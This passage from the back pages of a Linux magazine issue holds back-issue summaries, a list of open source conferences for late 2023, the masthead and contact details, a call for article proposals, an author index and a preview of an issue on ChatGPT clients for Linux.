to keep the data free, available, and in accessible formats. This month we bring you snapshots
from the quest for open data.
On the DVD: xubuntu 23.04 Desktop and Fedora 38 Workstation

#271/June 2023
Smart Home
Smart home solutions will save you time and energy – and, did I mention, you can amaze your
friends. This month we show you how to take charge of your home environment with smart
devices and open source automation software.
On the DVD: SystemRescue 10.0 and Linux Lite 6.4

#270/May 2023
Green Coding
A sustainable world will need more sustainable programming. This month we tell you about
some FOSS initiatives dedicated to energy efficiency, and we take a close look at some green
coding techniques in Go.
On the DVD: Fedora 37 Workstation and TUXEDO OS 2

#269/April 2023
The Fetiverse
Social media tools connect the world, bringing us the latest news and commentary from
politicians, movie stars, community leaders, and remote friends. But the tracking and data mining
of the commercial social media platforms has left many users searching for a better option. This
month we dive down into the alternative universe for social media users: the Fediverse.
On the DVD: EndeavourOS Cassini 22.12 and Debian 11.6 “bullseye”

[Link] ISSUE 275 OCTOBER 2023 95

SERVICE
Events

FEATURED EVENTS
Users, developers, and vendors meet at Linux events around the world.
We at Linux Magazine are proud to sponsor the Featured Events shown here.
For other events near you, check our extensive events calendar online at
[Link]
If you know of another Linux event you would like us to add to our calendar,
please send a message with all the details to info@[Link].

DrupalCon Lille 2023 LinuxFest Northwest SC23

Date: October 17-20, 2023 Date: October 20-22, 2023 Date: November 12-17, 2023
Location: Lille, France Location: Bellingham, Washington Location: Denver, Colorado
Website: [Link] Website: [Link] Website: [Link]
lille2023
LinuxFest Northwest (est. 2000) is an SC23 is the international conference
DrupalCon comes back to France in annual open source event co-produced for high performance computing,
2023 between 17-20 October! Do not by Bellingham Linux Users Group and the networking, storage, and analysis.
miss the opportunity to get access to Information Technology department at Join us in Denver for an exhilarating
hundreds of sessions by thought lead- Bellingham Technical College. Join us for week of sessions, speakers, and
ers and the Drupal community. Join presentations and exhibits on free and networking. SC is an unparalleled mix
BoF’s to talk about solving real prob- open source topics, as well as Linux of scientists, engineers, researchers,
lems. Get inspired by keynote speak- distributions, InfoSec, and privacy; educators, programmers, and
ers and much more. Learn more and something for everyone from the novice developers and who intermingle to
register today! to the professional! learn, share, and grow.

Events
All Things Open Oct 15-17 Raleigh, North Carolina [Link]
PyTorch Conference 2023 Oct 16-17 San Francisco, California [Link]
DrupalCon Lille 2023 Oct 17-20 Lille, France [Link]
LinuxFest Northwest 2023 Oct 20-22 Bellingham, Washington [Link]
Hybrid Cloud Conference Oct 26 Virtual Event [Link]
hybrid-cloud-congress-2/
SeaGL 2023 Nov 3-4 Virtual Event [Link]
KubeCon + CloudNativeCon Nov 6-9 Chicago, Illinois [Link]
North America cloudnativecon-north-america/
RISC-V Summit Nov 7-8 Santa Clara, California [Link]
Open Source Monitoring Nov 7-9 Nuremberg, Germany [Link]
Conference (OSMC)
SFSCON 2023 Nov 10-11 Bolzano, Italy [Link]
SC23 Nov 12-17 Denver, Colorado [Link]
Images © Alex White, [Link]

Linux Plumbers Conference Nov 13-15 Richmond, Virginia [Link]

LFN Developer & Testing Forum Nov 13-16 Budapest, Hungary [Link]
The Linux Kernel Maintainer Nov 16 Richmond, Virginia [Link]
Summit
Open Source Summit Japan Dec 5-6 Tokyo, Japan [Link]
Open Compliance Summit Dec 7-8 Tokyo, Japan [Link]

96
 SERVICE
Contact Info / Authors

WRITE FOR US
Contact Info
Editor in Chief
Joe Casad, jcasad@[Link]
Copy Editors
Amy Pettle, Aubrey Vaughn Linux Magazine is looking for authors to write articles on Linux and the
News Editors
Jack Wallen, Amber Ankerholz
tools of the Linux environment. We like articles on useful solutions that
Editor Emerita Nomadica solve practical problems. The topic could be a desktop tool, a command-
Rita L Sooby line utility, a network monitoring application, a homegrown script, or
Managing Editor
Lori White anything else with the potential to save a Linux user trouble and time. Our
Localization & Translation goal is to tell our readers stories they haven’t already heard, so we’re
Ian Travis especially interested in original fixes and hacks, new tools, and useful
Layout
Dena Friesen, Lori White applications that our readers might not know about. We also love articles
Cover Design on advanced uses for tools our readers do know about – stories that take
Lori White a traditional application and put it to work in a novel or creative way.
Cover Image
© nikolay mossolaynen, [Link] Topics close to our hearts include:
Advertising
Brian Osborn, bosborn@[Link] • Security
phone +49 8093 7679420 • Advanced Linux tuning and configuration
Marketing Communications
Gwen Clark, gclark@[Link] • Internet of Things
Linux New Media USA, LLC • Networking
4840 Bob Billings Parkway, Ste 104
Lawrence, KS 66049 USA • Scripting
Publisher • Artificial intelligence
Brian Osborn • Open protocols and open standards
Customer Service / Subscription
For USA and Canada: If you have a worthy topic that isn’t on this list, try us out – we might be
Email: cs@[Link]
interested!
Phone: 1-866-247-2802
(Toll Free from the US and Canada) Please don’t send us articles about products made by a company you
For all other countries: work for, unless it is an open source tool that is freely available to
Email: subs@[Link]
[Link]
everyone. Don’t send us webzine-style “Top 10 Tips” articles or other
While every care has been taken in the content of the superficial treatments that leave all the work to the reader. We like
magazine, the publishers cannot be held responsible
for the accuracy of the information contained within
complete solutions, with examples and lots of details. Go deep, not wide.
it or any consequences arising from the use of it. The
use of the disc provided with the magazine or any
We have a couple themes coming up that we could use your help with.
material provided on it is at your own risk. Please send us your proposals for thoughtful and practical articles on:
Copyright and Trademarks © 2023 Linux New Media
USA, LLC. • Cryptocurrencies
No material may be reproduced in any form
whatsoever in whole or in part without the written
• Systemd hacks
permission of the publishers. It is assumed that all Describe your idea in 1-2 paragraphs and send it to: edit@[Link].
correspondence sent, for example, letters, email,
faxes, photographs, articles, drawings, are supplied Please indicate in the subject line that your message is an article proposal.
for publication or license to third parties on a non-
exclusive worldwide basis by Linux New Media USA,
LLC, unless otherwise stated in writing.
Linux is a trademark of Linus Torvalds.
All brand or product names are trademarks of their Authors
respective owners. Contact us if we haven’t cred-
ited your copyright; we will always correct any Bernhard Bablok 68 Vincent Mealing 73
oversight.
Chris Binnie 16, 22, 28, 34 Graham Morrison 84
Printed in Nuremberg, Germany by Kolibri Druck.
Distributed by Seymour Distribution Ltd, United Paul Brown 78 Ali Imran Nagori 75
Kingdom
Represented in Europe and other territories by: Zack Brown 12 Dmitri Popov 90
Sparkhaus Media GmbH, Bialasstr. 1a, 85625
Glonn, Germany. Bruce Byfield 6, 40, 48 Mike Schilli 58
Published monthly as Linux Magazine (Print ISSN: Joe Casad 3, 16 Ferdinand Thommes 64
1471-5678, Online ISSN: 2833-3950) by Linux New
Media USA, LLC, 4840 Bob Billings Parkway, Ste Mark Crutch 73 Jack Wallen 8
104, Lawrence, KS 66049, USA. Periodicals Postage
paid at Lawrence, KS and additional mailing offices. Marco Fioretti 43 Michael Williams 52
Ride-Along Enclosed. POSTMASTER: Please send
address changes to Linux Magazine, 4840 Bob Bill- Jon “maddog” Hall 74
ings Parkway, Ste 104, Lawrence, KS 66049, USA.

[Link] ISSUE 275 OCTOBER 2023 97

NEXT MONTH
Issue 276
Available Starting
Issue 276 / November 2023
October 6

ChatGPT
on Linux
ChatGPT is the toast of the town, but what
does this powerful AI chatbot mean for
Linux? Tune in next month when we study
some leading ChatGPT clients for the Linux
environment.

Image © ntlstudio, [Link]

98 OCTOBER 2023 ISSUE 275 [Link]